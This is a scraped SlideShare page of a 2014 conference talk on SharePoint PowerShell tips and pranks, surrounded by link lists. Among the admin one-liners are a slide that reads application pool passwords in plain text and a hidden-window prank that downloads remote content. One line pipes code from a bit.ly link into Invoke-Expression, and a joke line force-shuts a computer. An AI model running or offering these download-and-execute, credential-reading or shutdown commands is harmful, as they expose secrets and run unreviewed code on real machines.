SlideShare a Scribd company logo
1 of 40
Training and Consulting: contact@winsmarts.com 
SharePoint Powers Hell 
WWW.WINSMARTS.COM 
@SAHILMALIK 
FACEBOOK.COM/SAHILMALIK 
LINKED.IN/SAHIL 
Sahil Malik
Training and Consulting: contact@winsmarts.com 
SharePoint Powershell 
WWW.WINSMARTS.COM 
@SAHILMALIK 
FACEBOOK.COM/SAHILMALIK 
LINKED.IN/SAHIL 
Sahil Malik
Training and Consulting: contact@winsmarts.com 
SharePoint Power sell? 
WWW.WINSMARTS.COM 
@SAHILMALIK 
FACEBOOK.COM/SAHILMALIK 
LINKED.IN/SAHIL 
Sahil Malik
Training and Consulting: contact@winsmarts.com
Training and Consulting: contact@winsmarts.com 
Powershell – Intended Audience
Training and Consulting: contact@winsmarts.com 
C:>whoami 
12xMVP 
15xAuthor 
Pluralsight Author 
Funny and Honest 
HTTP://BLAH.WINSMARTS.COM 
@SAHILMALIK
Training and Consulting: contact@winsmarts.com 
PowerShell in SharePoint 2013
Training and Consulting: contact@winsmarts.com 
What’s new in PowerShell 3.0?
Training and Consulting: contact@winsmarts.com 
3 ways to use PowerShell with SP
Training and Consulting: contact@winsmarts.com 
PowerShell 
Add-PsSnapin Microsoft.SharePoint.PowerShell 
Help new-spsite –examples 
Help new-spsite –detailed 
Help new-spsite –full 
$web.Lists | Where-Object {$_.Hidden -eq $false} | format-table Title
Training and Consulting: contact@winsmarts.com 
Managing PowerShell Permissions
Training and Consulting: contact@winsmarts.com 
Some new and useful commands
Training and Consulting: contact@winsmarts.com 
PowerShell Command Builder
Training and Consulting: contact@winsmarts.com
Training and Consulting: contact@winsmarts.com 
Get # of clientconn on #SharePoint WFE w #PowerShell 
Get-Counter -Counter 'web service(_total)current connections' -ComputerName servername
Training and Consulting: contact@winsmarts.com 
Kill that synch button 
Get-SPSite -limit all | get-SPWeb -limit all | Foreach {$_.Title = $_.Title; 
$_.ExcludeFromOfflineClient=1; $_.Update()}
Training and Consulting: contact@winsmarts.com 
Find lost application pool passwords 
cmd.exe /c $env:windirsystem32inetsrvappcmd.exe list apppool “SharePoint - 80" 
/text:ProcessModel.Password
Training and Consulting: contact@winsmarts.com 
Grid madness – you just have to try this! 
$web = Get-SPWeb http://sp 
$list = $web.Lists | Out-GridView -PassThru
Training and Consulting: contact@winsmarts.com 
Find files with matching text 
ls -r | ?{$_ | Select-String -Pattern "texttosearch"}
Training and Consulting: contact@winsmarts.com 
Save a WSP from central admin as a file 
$farm = Get-SPFarm 
$farm.solutions.item(“solutioname.wsp”).SolutionFile.SaveAs(“c:whateverfilenameandpath.wsp”)
Training and Consulting: contact@winsmarts.com 
CorrelationID Madness on multiple servers 
Merge-SPLogFile –Path c:whateverfile.log –Correlation <correlationID>
Training and Consulting: contact@winsmarts.com 
ULS Madness 
Get-SPLogEvent | Where {$_.Correlation -Eq "f463c19c-e41f-f09e-a2ef-b8a749edf422" } | ft Message
Training and Consulting: contact@winsmarts.com 
Blaming your sysadmins 
http://blah.winsmarts.com/2013-12-SharePoint_2013_Diagnostics_Powershell_trick.asp
Training and Consulting: contact@winsmarts.com 
Restore accidentally deleted site collections 
Get-SPDeletedSite (gives you the ID) 
Restore-SPDeletedSite (restores it)
Training and Consulting: contact@winsmarts.com 
Find orphaned items in a content database 
$cdb = get-SPContentDatabase 
$cdb.Repair($false)
Training and Consulting: contact@winsmarts.com 
Find methods and properties on an object 
$web = Get-SPWeb http://sp 
$web | Get-Member
Training and Consulting: contact@winsmarts.com 
How is the weather outside? 
Invoke-RestMethod -Uri "http://api.openweathermap.org/data/2.5/weather?q=Zagreb"
Training and Consulting: contact@winsmarts.com 
Now that you got everything to work .. What PS commands did I use? 
Get-History | Select –Expand CommandLine | Out-File script.ps1
Training and Consulting: contact@winsmarts.com 
Find a new job, through Powershell 
stop-computer -force | Get-ADComputer -Filter *
Training and Consulting: contact@winsmarts.com
Training and Consulting: contact@winsmarts.com 
PowerShell for Office 365
Training and Consulting: contact@winsmarts.com 
PowerShell & Office 365
Training and Consulting: contact@winsmarts.com 
PowerShell References
Training and Consulting: contact@winsmarts.com 
Sound after a long running script.. 
$([char]7) 
[console]::beep(500,300) 
[console]::beep(440,500) 
[console]::beep(440,500) 
[console]::beep(440,500) 
[console]::beep(349,350) 
[console]::beep(523,150) 
[console]::beep(440,500)
Training and Consulting: contact@winsmarts.com 
Speech using PowerShell 
Add-Type -AssemblyName System.Speech 
$synth = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer 
$synth.Speak(’If you think this is cool, it only gets better from here')
Training and Consulting: contact@winsmarts.com 
Drive your sysadmin mad 
Add-Type -AssemblyName System.Speech 
$synth = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer 
Invoke-WebRequest -uri "http://blah.winsmarts.com/Pranks.txt" -OutFile "c:codephrases.txt" 
$phrases = Get-Content "c:codephrases.txt" 
while ($true) { $phrase = Get-Random $phrases ; $synth.Speak($phrase) ;start-sleep 5 } 
powershell.exe -windowstyle hidden -scriptname lol.ps1
Training and Consulting: contact@winsmarts.com 
And try this.. 
iex (New-Object Net.WebClient).DownloadString(“http://bit.ly/e0Mw9w”)
Training and Consulting: contact@winsmarts.com 
Found anything useful? 
http://blah.winsmarts.com/2014-10-Powershell_Tips_and_Tricks_(and_commandline).aspx 
bit.ly/poshtips
Training and Consulting: contact@winsmarts.com 
questions? 
HTTP://WWW.WINSMARTS.COM/CONTACT.ASPX 
@SAHILMALIK
Training and Consulting: contact@winsmarts.com 
thank you. 
SHAREPOINT AND PROJECT CONFERENCE ADRIATICS 
ZAGREB, 10/15/2014 - 10/16/2014

More Related Content

Viewers also liked

Presentations-Tips.ppt
Presentations-Tips.pptPresentations-Tips.ppt
Presentations-Tips.pptram_pu
 
pdf.pdf
pdf.pdfpdf.pdf
pdf.pdfram_pu
 
The Case for Video Interviewing: The Tesco Bank Experience
The Case for Video Interviewing: The Tesco Bank ExperienceThe Case for Video Interviewing: The Tesco Bank Experience
The Case for Video Interviewing: The Tesco Bank ExperienceSonru
 
Big Bang Theory: The Evolution of a Recruitment Process
Big Bang Theory: The Evolution of a Recruitment ProcessBig Bang Theory: The Evolution of a Recruitment Process
Big Bang Theory: The Evolution of a Recruitment ProcessSonru
 
聖徳ゼロテック株式会社 事業紹介
聖徳ゼロテック株式会社 事業紹介聖徳ゼロテック株式会社 事業紹介
聖徳ゼロテック株式会社 事業紹介zerotec
 
SpotHero's Mission, Vision & Values
SpotHero's Mission, Vision & ValuesSpotHero's Mission, Vision & Values
SpotHero's Mission, Vision & ValuesElan Mosbacher
 
Now Digital - Are You Ready For Change?
Now Digital - Are You Ready For Change?Now Digital - Are You Ready For Change?
Now Digital - Are You Ready For Change?Now Digital
 
Alessandro Carmona Martínez ISMET 2015 Arizona
Alessandro Carmona Martínez ISMET 2015 ArizonaAlessandro Carmona Martínez ISMET 2015 Arizona
Alessandro Carmona Martínez ISMET 2015 ArizonaIMDEA-Water
 
FACTIVA, mode d'emploi
FACTIVA, mode d'emploiFACTIVA, mode d'emploi
FACTIVA, mode d'emploiBibUnicaen
 
Formation facebook pour élèves
Formation facebook pour élèvesFormation facebook pour élèves
Formation facebook pour élèvesAnne Schnepp
 
Moodle slide share
Moodle slide shareMoodle slide share
Moodle slide shareFCT at LSSU
 
Barb evans brain
Barb evans brainBarb evans brain
Barb evans brainFCT at LSSU
 
Metacognition & Self-regulated Learning
Metacognition & Self-regulated LearningMetacognition & Self-regulated Learning
Metacognition & Self-regulated LearningFCT at LSSU
 
Using Film and Memoir to Teach
Using Film and Memoir to Teach Using Film and Memoir to Teach
Using Film and Memoir to Teach FCT at LSSU
 
Rechercher un emploi dans le digital
Rechercher un emploi dans le digitalRechercher un emploi dans le digital
Rechercher un emploi dans le digitalAdrien Pepin
 
4ISMET, Alessandro Carmona
4ISMET, Alessandro Carmona4ISMET, Alessandro Carmona
4ISMET, Alessandro CarmonaIMDEA-Water
 
2EU-ISMET, Alessandro Carmona
 2EU-ISMET, Alessandro Carmona 2EU-ISMET, Alessandro Carmona
2EU-ISMET, Alessandro CarmonaIMDEA-Water
 
BioH2Conference, Alessandro Carmona
BioH2Conference, Alessandro CarmonaBioH2Conference, Alessandro Carmona
BioH2Conference, Alessandro CarmonaIMDEA-Water
 
1EU-ISMET, Alessandro carmona
1EU-ISMET, Alessandro carmona1EU-ISMET, Alessandro carmona
1EU-ISMET, Alessandro carmonaIMDEA-Water
 

Viewers also liked (20)

Presentations-Tips.ppt
Presentations-Tips.pptPresentations-Tips.ppt
Presentations-Tips.ppt
 
pdf.pdf
pdf.pdfpdf.pdf
pdf.pdf
 
The Case for Video Interviewing: The Tesco Bank Experience
The Case for Video Interviewing: The Tesco Bank ExperienceThe Case for Video Interviewing: The Tesco Bank Experience
The Case for Video Interviewing: The Tesco Bank Experience
 
Big Bang Theory: The Evolution of a Recruitment Process
Big Bang Theory: The Evolution of a Recruitment ProcessBig Bang Theory: The Evolution of a Recruitment Process
Big Bang Theory: The Evolution of a Recruitment Process
 
聖徳ゼロテック株式会社 事業紹介
聖徳ゼロテック株式会社 事業紹介聖徳ゼロテック株式会社 事業紹介
聖徳ゼロテック株式会社 事業紹介
 
SpotHero's Mission, Vision & Values
SpotHero's Mission, Vision & ValuesSpotHero's Mission, Vision & Values
SpotHero's Mission, Vision & Values
 
Now Digital - Are You Ready For Change?
Now Digital - Are You Ready For Change?Now Digital - Are You Ready For Change?
Now Digital - Are You Ready For Change?
 
Ethics
EthicsEthics
Ethics
 
Alessandro Carmona Martínez ISMET 2015 Arizona
Alessandro Carmona Martínez ISMET 2015 ArizonaAlessandro Carmona Martínez ISMET 2015 Arizona
Alessandro Carmona Martínez ISMET 2015 Arizona
 
FACTIVA, mode d'emploi
FACTIVA, mode d'emploiFACTIVA, mode d'emploi
FACTIVA, mode d'emploi
 
Formation facebook pour élèves
Formation facebook pour élèvesFormation facebook pour élèves
Formation facebook pour élèves
 
Moodle slide share
Moodle slide shareMoodle slide share
Moodle slide share
 
Barb evans brain
Barb evans brainBarb evans brain
Barb evans brain
 
Metacognition & Self-regulated Learning
Metacognition & Self-regulated LearningMetacognition & Self-regulated Learning
Metacognition & Self-regulated Learning
 
Using Film and Memoir to Teach
Using Film and Memoir to Teach Using Film and Memoir to Teach
Using Film and Memoir to Teach
 
Rechercher un emploi dans le digital
Rechercher un emploi dans le digitalRechercher un emploi dans le digital
Rechercher un emploi dans le digital
 
4ISMET, Alessandro Carmona
4ISMET, Alessandro Carmona4ISMET, Alessandro Carmona
4ISMET, Alessandro Carmona
 
2EU-ISMET, Alessandro Carmona
 2EU-ISMET, Alessandro Carmona 2EU-ISMET, Alessandro Carmona
2EU-ISMET, Alessandro Carmona
 
BioH2Conference, Alessandro Carmona
BioH2Conference, Alessandro CarmonaBioH2Conference, Alessandro Carmona
BioH2Conference, Alessandro Carmona
 
1EU-ISMET, Alessandro carmona
1EU-ISMET, Alessandro carmona1EU-ISMET, Alessandro carmona
1EU-ISMET, Alessandro carmona
 

Similar to SharePoint PowerShell

Обзор администрирования и подготовка к сертификации по Office 365
Обзор администрирования и подготовка к сертификации по Office 365 Обзор администрирования и подготовка к сертификации по Office 365
Обзор администрирования и подготовка к сертификации по Office 365 Виталий Стародубцев
 
Intro to PowerShell
Intro to PowerShellIntro to PowerShell
Intro to PowerShellAdam Preston
 
SPugPt Meeting 35: Manage govern and drive adoption of share point online wit...
SPugPt Meeting 35: Manage govern and drive adoption of share point online wit...SPugPt Meeting 35: Manage govern and drive adoption of share point online wit...
SPugPt Meeting 35: Manage govern and drive adoption of share point online wit...Comunidade Portuguesa de SharePoiint
 
Site Provisioning with Modern SharePoint Sites and SIte Assets - O365 Saturda...
Site Provisioning with Modern SharePoint Sites and SIte Assets - O365 Saturda...Site Provisioning with Modern SharePoint Sites and SIte Assets - O365 Saturda...
Site Provisioning with Modern SharePoint Sites and SIte Assets - O365 Saturda...Asish Padhy
 
70 486 questions answers
70 486 questions answers70 486 questions answers
70 486 questions answersp4sco
 
Collab365: PowerShell for Office 365
Collab365: PowerShell for Office 365Collab365: PowerShell for Office 365
Collab365: PowerShell for Office 365Vlad Catrinescu
 
Stored procedures by thanveer danish melayi
Stored procedures by thanveer danish melayiStored procedures by thanveer danish melayi
Stored procedures by thanveer danish melayiMuhammed Thanveer M
 
Designing and Building a Graph Database Application - Ian Robinson (Neo Techn...
Designing and Building a Graph Database Application - Ian Robinson (Neo Techn...Designing and Building a Graph Database Application - Ian Robinson (Neo Techn...
Designing and Building a Graph Database Application - Ian Robinson (Neo Techn...jaxLondonConference
 
Team Nation 2022 - How to choose between Dataverse, SQL Azure, SharePoint lis...
Team Nation 2022 - How to choose between Dataverse, SQL Azure, SharePoint lis...Team Nation 2022 - How to choose between Dataverse, SQL Azure, SharePoint lis...
Team Nation 2022 - How to choose between Dataverse, SQL Azure, SharePoint lis...serge luca
 
Designing and Building a Graph Database Application – Architectural Choices, ...
Designing and Building a Graph Database Application – Architectural Choices, ...Designing and Building a Graph Database Application – Architectural Choices, ...
Designing and Building a Graph Database Application – Architectural Choices, ...Neo4j
 
Wix's ML Platform
Wix's ML PlatformWix's ML Platform
Wix's ML PlatformRan Romano
 
Your admin toolbelt is not complete without Salesforce DX
Your admin toolbelt is not complete without Salesforce DXYour admin toolbelt is not complete without Salesforce DX
Your admin toolbelt is not complete without Salesforce DXDaniel Stange
 
IBM Insight 2015 - 1824 - Using Bluemix and dashDB for Twitter Analysis
IBM Insight 2015 - 1824 - Using Bluemix and dashDB for Twitter AnalysisIBM Insight 2015 - 1824 - Using Bluemix and dashDB for Twitter Analysis
IBM Insight 2015 - 1824 - Using Bluemix and dashDB for Twitter AnalysisTorsten Steinbach
 
PowerApps 101 SharePoint Saturday Belgium 2019
PowerApps 101 SharePoint Saturday Belgium 2019PowerApps 101 SharePoint Saturday Belgium 2019
PowerApps 101 SharePoint Saturday Belgium 2019Rebekka Aalbers-de Jong
 
SharePoint Saturday Ottawa- Automate your Deployments with TFS and Build Server
SharePoint Saturday Ottawa- Automate your Deployments with TFS and Build ServerSharePoint Saturday Ottawa- Automate your Deployments with TFS and Build Server
SharePoint Saturday Ottawa- Automate your Deployments with TFS and Build ServerVlad Catrinescu
 
Sap crm online training in india
Sap crm online training in indiaSap crm online training in india
Sap crm online training in indiaSAP Online Training
 
PHP and MySQL : Server Side Scripting For Web Development
PHP and MySQL : Server Side Scripting For Web DevelopmentPHP and MySQL : Server Side Scripting For Web Development
PHP and MySQL : Server Side Scripting For Web DevelopmentEdureka!
 
Operacion Guinda 2
Operacion Guinda 2Operacion Guinda 2
Operacion Guinda 2Red RADAR
 
SaltConf14 - Ben Cane - Using SaltStack in High Availability Environments
SaltConf14 - Ben Cane - Using SaltStack in High Availability EnvironmentsSaltConf14 - Ben Cane - Using SaltStack in High Availability Environments
SaltConf14 - Ben Cane - Using SaltStack in High Availability EnvironmentsSaltStack
 
Webinar: Deploy Microsoft Teams and stay in control
Webinar: Deploy Microsoft Teams and stay in controlWebinar: Deploy Microsoft Teams and stay in control
Webinar: Deploy Microsoft Teams and stay in controlShareGate
 

Similar to SharePoint PowerShell (20)

Обзор администрирования и подготовка к сертификации по Office 365
Обзор администрирования и подготовка к сертификации по Office 365 Обзор администрирования и подготовка к сертификации по Office 365
Обзор администрирования и подготовка к сертификации по Office 365
 
Intro to PowerShell
Intro to PowerShellIntro to PowerShell
Intro to PowerShell
 
SPugPt Meeting 35: Manage govern and drive adoption of share point online wit...
SPugPt Meeting 35: Manage govern and drive adoption of share point online wit...SPugPt Meeting 35: Manage govern and drive adoption of share point online wit...
SPugPt Meeting 35: Manage govern and drive adoption of share point online wit...
 
Site Provisioning with Modern SharePoint Sites and SIte Assets - O365 Saturda...
Site Provisioning with Modern SharePoint Sites and SIte Assets - O365 Saturda...Site Provisioning with Modern SharePoint Sites and SIte Assets - O365 Saturda...
Site Provisioning with Modern SharePoint Sites and SIte Assets - O365 Saturda...
 
70 486 questions answers
70 486 questions answers70 486 questions answers
70 486 questions answers
 
Collab365: PowerShell for Office 365
Collab365: PowerShell for Office 365Collab365: PowerShell for Office 365
Collab365: PowerShell for Office 365
 
Stored procedures by thanveer danish melayi
Stored procedures by thanveer danish melayiStored procedures by thanveer danish melayi
Stored procedures by thanveer danish melayi
 
Designing and Building a Graph Database Application - Ian Robinson (Neo Techn...
Designing and Building a Graph Database Application - Ian Robinson (Neo Techn...Designing and Building a Graph Database Application - Ian Robinson (Neo Techn...
Designing and Building a Graph Database Application - Ian Robinson (Neo Techn...
 
Team Nation 2022 - How to choose between Dataverse, SQL Azure, SharePoint lis...
Team Nation 2022 - How to choose between Dataverse, SQL Azure, SharePoint lis...Team Nation 2022 - How to choose between Dataverse, SQL Azure, SharePoint lis...
Team Nation 2022 - How to choose between Dataverse, SQL Azure, SharePoint lis...
 
Designing and Building a Graph Database Application – Architectural Choices, ...
Designing and Building a Graph Database Application – Architectural Choices, ...Designing and Building a Graph Database Application – Architectural Choices, ...
Designing and Building a Graph Database Application – Architectural Choices, ...
 
Wix's ML Platform
Wix's ML PlatformWix's ML Platform
Wix's ML Platform
 
Your admin toolbelt is not complete without Salesforce DX
Your admin toolbelt is not complete without Salesforce DXYour admin toolbelt is not complete without Salesforce DX
Your admin toolbelt is not complete without Salesforce DX
 
IBM Insight 2015 - 1824 - Using Bluemix and dashDB for Twitter Analysis
IBM Insight 2015 - 1824 - Using Bluemix and dashDB for Twitter AnalysisIBM Insight 2015 - 1824 - Using Bluemix and dashDB for Twitter Analysis
IBM Insight 2015 - 1824 - Using Bluemix and dashDB for Twitter Analysis
 
PowerApps 101 SharePoint Saturday Belgium 2019
PowerApps 101 SharePoint Saturday Belgium 2019PowerApps 101 SharePoint Saturday Belgium 2019
PowerApps 101 SharePoint Saturday Belgium 2019
 
SharePoint Saturday Ottawa- Automate your Deployments with TFS and Build Server
SharePoint Saturday Ottawa- Automate your Deployments with TFS and Build ServerSharePoint Saturday Ottawa- Automate your Deployments with TFS and Build Server
SharePoint Saturday Ottawa- Automate your Deployments with TFS and Build Server
 
Sap crm online training in india
Sap crm online training in indiaSap crm online training in india
Sap crm online training in india
 
PHP and MySQL : Server Side Scripting For Web Development
PHP and MySQL : Server Side Scripting For Web DevelopmentPHP and MySQL : Server Side Scripting For Web Development
PHP and MySQL : Server Side Scripting For Web Development
 
Operacion Guinda 2
Operacion Guinda 2Operacion Guinda 2
Operacion Guinda 2
 
SaltConf14 - Ben Cane - Using SaltStack in High Availability Environments
SaltConf14 - Ben Cane - Using SaltStack in High Availability EnvironmentsSaltConf14 - Ben Cane - Using SaltStack in High Availability Environments
SaltConf14 - Ben Cane - Using SaltStack in High Availability Environments
 
Webinar: Deploy Microsoft Teams and stay in control
Webinar: Deploy Microsoft Teams and stay in controlWebinar: Deploy Microsoft Teams and stay in control
Webinar: Deploy Microsoft Teams and stay in control
 

Recently uploaded

Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfjimielynbastida
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsPrecisely
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentationphoebematthew05
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024The Digital Insurer
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr LapshynFwdays
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Wonjun Hwang
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksSoftradix Technologies
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsMemoori
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDGMarianaLemus7
 
Bluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdfBluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdfngoud9212
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationSafe Software
 

Recently uploaded (20)

Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptxVulnerability_Management_GRC_by Sohang Sengupta.pptx
Vulnerability_Management_GRC_by Sohang Sengupta.pptx
 
Science&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdfScience&tech:THE INFORMATION AGE STS.pdf
Science&tech:THE INFORMATION AGE STS.pdf
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
Unlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power SystemsUnlocking the Potential of the Cloud for IBM Power Systems
Unlocking the Potential of the Cloud for IBM Power Systems
 
costume and set research powerpoint presentation
costume and set research powerpoint presentationcostume and set research powerpoint presentation
costume and set research powerpoint presentation
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024My INSURER PTE LTD - Insurtech Innovation Award 2024
My INSURER PTE LTD - Insurtech Innovation Award 2024
 
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
"Federated learning: out of reach no matter how close",Oleksandr Lapshyn
 
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
Bun (KitWorks Team Study 노별마루 발표 2024.4.22)
 
Benefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other FrameworksBenefits Of Flutter Compared To Other Frameworks
Benefits Of Flutter Compared To Other Frameworks
 
AI as an Interface for Commercial Buildings
AI as an Interface for Commercial BuildingsAI as an Interface for Commercial Buildings
AI as an Interface for Commercial Buildings
 
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort ServiceHot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
Hot Sexy call girls in Panjabi Bagh 🔝 9953056974 🔝 Delhi escort Service
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April  Automation LPDGAPIForce Zurich 5 April  Automation LPDG
APIForce Zurich 5 April Automation LPDG
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Bluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdfBluetooth Controlled Car with Arduino.pdf
Bluetooth Controlled Car with Arduino.pdf
 
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry InnovationBeyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
Beyond Boundaries: Leveraging No-Code Solutions for Industry Innovation
 

SharePoint PowerShell

  • 1. Training and Consulting: contact@winsmarts.com SharePoint Powers Hell WWW.WINSMARTS.COM @SAHILMALIK FACEBOOK.COM/SAHILMALIK LINKED.IN/SAHIL Sahil Malik
  • 2. Training and Consulting: contact@winsmarts.com SharePoint Powershell WWW.WINSMARTS.COM @SAHILMALIK FACEBOOK.COM/SAHILMALIK LINKED.IN/SAHIL Sahil Malik
  • 3. Training and Consulting: contact@winsmarts.com SharePoint Power sell? WWW.WINSMARTS.COM @SAHILMALIK FACEBOOK.COM/SAHILMALIK LINKED.IN/SAHIL Sahil Malik
  • 4. Training and Consulting: contact@winsmarts.com
  • 5. Training and Consulting: contact@winsmarts.com Powershell – Intended Audience
  • 6. Training and Consulting: contact@winsmarts.com C:>whoami 12xMVP 15xAuthor Pluralsight Author Funny and Honest HTTP://BLAH.WINSMARTS.COM @SAHILMALIK
  • 7. Training and Consulting: contact@winsmarts.com PowerShell in SharePoint 2013
  • 8. Training and Consulting: contact@winsmarts.com What’s new in PowerShell 3.0?
  • 9. Training and Consulting: contact@winsmarts.com 3 ways to use PowerShell with SP
  • 10. Training and Consulting: contact@winsmarts.com PowerShell Add-PsSnapin Microsoft.SharePoint.PowerShell Help new-spsite –examples Help new-spsite –detailed Help new-spsite –full $web.Lists | Where-Object {$_.Hidden -eq $false} | format-table Title
  • 11. Training and Consulting: contact@winsmarts.com Managing PowerShell Permissions
  • 12. Training and Consulting: contact@winsmarts.com Some new and useful commands
  • 13. Training and Consulting: contact@winsmarts.com PowerShell Command Builder
  • 14. Training and Consulting: contact@winsmarts.com
  • 15. Training and Consulting: contact@winsmarts.com Get # of clientconn on #SharePoint WFE w #PowerShell Get-Counter -Counter 'web service(_total)current connections' -ComputerName servername
  • 16. Training and Consulting: contact@winsmarts.com Kill that synch button Get-SPSite -limit all | get-SPWeb -limit all | Foreach {$_.Title = $_.Title; $_.ExcludeFromOfflineClient=1; $_.Update()}
  • 17. Training and Consulting: contact@winsmarts.com Find lost application pool passwords cmd.exe /c $env:windirsystem32inetsrvappcmd.exe list apppool “SharePoint - 80" /text:ProcessModel.Password
  • 18. Training and Consulting: contact@winsmarts.com Grid madness – you just have to try this! $web = Get-SPWeb http://sp $list = $web.Lists | Out-GridView -PassThru
  • 19. Training and Consulting: contact@winsmarts.com Find files with matching text ls -r | ?{$_ | Select-String -Pattern "texttosearch"}
  • 20. Training and Consulting: contact@winsmarts.com Save a WSP from central admin as a file $farm = Get-SPFarm $farm.solutions.item(“solutioname.wsp”).SolutionFile.SaveAs(“c:whateverfilenameandpath.wsp”)
  • 21. Training and Consulting: contact@winsmarts.com CorrelationID Madness on multiple servers Merge-SPLogFile –Path c:whateverfile.log –Correlation <correlationID>
  • 22. Training and Consulting: contact@winsmarts.com ULS Madness Get-SPLogEvent | Where {$_.Correlation -Eq "f463c19c-e41f-f09e-a2ef-b8a749edf422" } | ft Message
  • 23. Training and Consulting: contact@winsmarts.com Blaming your sysadmins http://blah.winsmarts.com/2013-12-SharePoint_2013_Diagnostics_Powershell_trick.asp
  • 24. Training and Consulting: contact@winsmarts.com Restore accidentally deleted site collections Get-SPDeletedSite (gives you the ID) Restore-SPDeletedSite (restores it)
